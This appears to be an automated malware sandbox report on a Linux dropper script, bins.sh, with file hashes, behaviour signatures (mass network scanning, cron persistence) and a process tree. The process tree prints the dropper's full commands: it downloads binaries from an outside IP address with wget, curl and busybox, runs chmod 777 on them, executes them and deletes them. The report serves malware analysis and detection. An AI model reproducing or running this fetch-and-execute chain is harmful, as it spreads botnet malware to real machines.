Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 21:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3efc0e577d459b3cdb5f830df22f9c63

  • SHA1

    d9069518bb998fe6d57c3319da73066235d95d1b

  • SHA256

    554bae091f7302ab709533bac2bc5794e032a6bd6976594691263ebb45c1dc6a

  • SHA512

    edb36c0ac4f01309f4fc59e8dd5011dafbbc648892070401a6b33309c5930415401edabdf80b43c2cba26e3cb7a5cf1e006b221281046d841ccd0f58e6cd54dd

  • SSDEEP

    192:pARdTYAMrm+a05vhHoqaK7fBp0C6spl4BqaK7fWC6spl4k+a05vhPURdTYAJ:iRdTYAMrDoqaK7fBp0C6spl4BqaK7fWI

Malware Config

Signatures

  • Contacts a large (2056) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1521
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1522
        • /usr/bin/wget
          wget http://216.126.231.240/bins/X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
          • Writes file to tmp directory
          PID:1528
        • /bin/chmod
          chmod 777 X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
          • File and Directory Permissions Modification
          PID:1529
        • /tmp/X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          ./X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
          • Executes dropped EXE
          PID:1530
        • /bin/rm
          rm X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X
          2⤵
            PID:1532
          • /usr/bin/wget
            wget http://216.126.231.240/bins/74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
            • Writes file to tmp directory
            PID:1533
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
            • Writes file to tmp directory
            PID:1534
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
            • Writes file to tmp directory
            PID:1535
          • /bin/chmod
            chmod 777 74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
            • File and Directory Permissions Modification
            PID:1536
          • /tmp/74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            ./74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
            • Executes dropped EXE
            PID:1537
          • /bin/rm
            rm 74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO
            2⤵
              PID:1539
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              2⤵
              • Writes file to tmp directory
              PID:1540
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              2⤵
              • Writes file to tmp directory
              PID:1541
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              2⤵
              • Writes file to tmp directory
              PID:1542
            • /bin/chmod
              chmod 777 WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              2⤵
              • File and Directory Permissions Modification
              PID:1543
            • /tmp/WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              ./WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:1544
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:1546
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1547
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:1548
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1549
                  • /bin/rm
                    rm WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU
                    2⤵
                      PID:1551
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/YiTdZuH6J0iaJ7zIyPJnrPnU128XfSjSDa
                      2⤵
                        PID:1554

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/74RiD2P32PMaOTuFpIFiFGhkSiQ2aTmmeO

                      Filesize

                      122KB

                      MD5

                      cd3d4b9c643e5b473fb4d88ed05f0716

                      SHA1

                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                      SHA256

                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                      SHA512

                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                    • /tmp/WQEnVLSdKPfJl56f0gNAwoDccQMs4GPuvU

                      Filesize

                      98KB

                      MD5

                      5141342d0df8699fa32a6b066a0c592e

                      SHA1

                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                      SHA256

                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                      SHA512

                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                    • /tmp/X8yMZSjK6l8NtkNOjBOke11DjizpRQQe3X

                      Filesize

                      111KB

                      MD5

                      ca897a38f23ec23521ce0b1b83f8422d

                      SHA1

                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                      SHA256

                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                      SHA512

                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                    • /var/spool/cron/crontabs/tmp.SqFezq

                      Filesize

                      210B

                      MD5

                      a5658f44d68dfe06399461a6243cd933

                      SHA1

                      73b9f70d2afa257440b2a7cb31afc5fe9aad0398

                      SHA256

                      3e5f35c45c7488407206949460968818effc20281654ae871b3616e1e58ac61d

                      SHA512

                      f0e5c0219712a64bffad1323493b4726f2a50851abfbafc7384553f4af861ef8bb64a0e8bd169f55d21d1fa8f0eeb9e4a6a6d0551457a02897d8a31a60ab8fdd